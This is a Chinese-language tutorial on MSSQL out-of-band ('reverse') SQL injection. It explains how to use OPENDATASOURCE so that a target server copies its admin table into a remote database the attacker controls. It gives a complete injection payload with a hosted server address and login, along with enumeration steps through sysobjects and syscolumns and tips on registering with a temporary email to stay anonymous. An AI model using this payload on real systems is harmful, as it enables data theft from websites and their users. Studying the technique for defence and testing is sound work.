MSSQL反弹注入
当明明是注入点却无法进行注入
注入工具猜解速度缓慢
错误提示信息关闭
无法返回注入结果等
这时比较好的方法就是使用反弹注入
反弹注入原理
1、原理
目标站点把查询数据的结果插入到黑客的数据库里
条件:
1、网络通畅(需要公网ip)
2、自己的MSSQL数据库
2、opendatasource函数
opendatasource(provider_name,init_string)
provider_name参数 MsSQL数据库常写sqloledb
,类似接口名称的意思
init_string参数 写连接地址、端口、用户名、密码、数据库名
server=连接地址,端口
uid=用户名
pwd=密码
database=数据库名称
insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkap_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin -- qwe
把select * from admin 的结果插入目标的temp表
server后是插入地址,地址使用在香港云申请的连接地址和用户名,密码
sqloledb是构成通道的固定值,不更改
server后是数据库地址
uid后是数据库用户名
passwd是密码
database是数据库名称
DB_14A5E44_zkaq.dbo.temp是查询数据库dbo(用户创建)里的temp表
例如:
插入数据:字段数相同、类型相同
MSSQL中的数据库自带表在sysobjects里面,存储字段的表在syscolumns里,主要字段是name和id,要记住id的数字
3、其他注意点
(1)因为MySQL的兼容性,所以可以写select 1,2,3这样的语句,但其他数据库的查询内容都要写完整。
select 字段 from 表
(2)mysql在联合查询的时候对字段数有严格规定,但对字段类型的规定比较淡。
猜输出点要用null填充
null => 不存在数据类型
union all select null,null,null from 表名
MsSQL数据库要求联合查询的时候,字段数,字段类型都要一样。
可以把null替换成数字、字符类型,看是否回显正常。猜字段的时候可以使用这种方式去猜。
(3)MsSQL数据库也有系统自带库
sysdatabases 查数据库名
sysobjects 查表名
syscolumns 查字段名
查表名会发现有xtype字段,S
为system系统创建的,U
为User用户创建的
而且每个表都会有一个对应的name
,id
所以找用户创建的表可以select name,id from sysobjects where xtype='U'
sysobjects 查询系统表 (xtype='U') 用户创建的表
syscolumns 字段 (id=)指定sysobjects库中表名对应id
搭建MSSQL环境
可以申请一个免费的虚拟空间,虚拟空间中开启MSSQL然后直接使用,可以免去MSSQL安装环境且不需要特意购置云服务器来获取一个公网IP。
香港云 http://www.webweb.com/
香港云失效用 https://my.gearhost.com/CloudSite
数据库操作 http://mssqlus.webweb.com
临时邮箱 http://24mail.chacuo.net/
注册香港云的虚拟空间
这里使用临时邮箱,以免暴露个人信息
创建数据库
要记住数据库地址,用户名和数据库名称!!!!
点击My SQL控制台创建数据表
适用navicat也可以远程管理香港云的数据库,填写正确对待数据库地址和用户名密码即可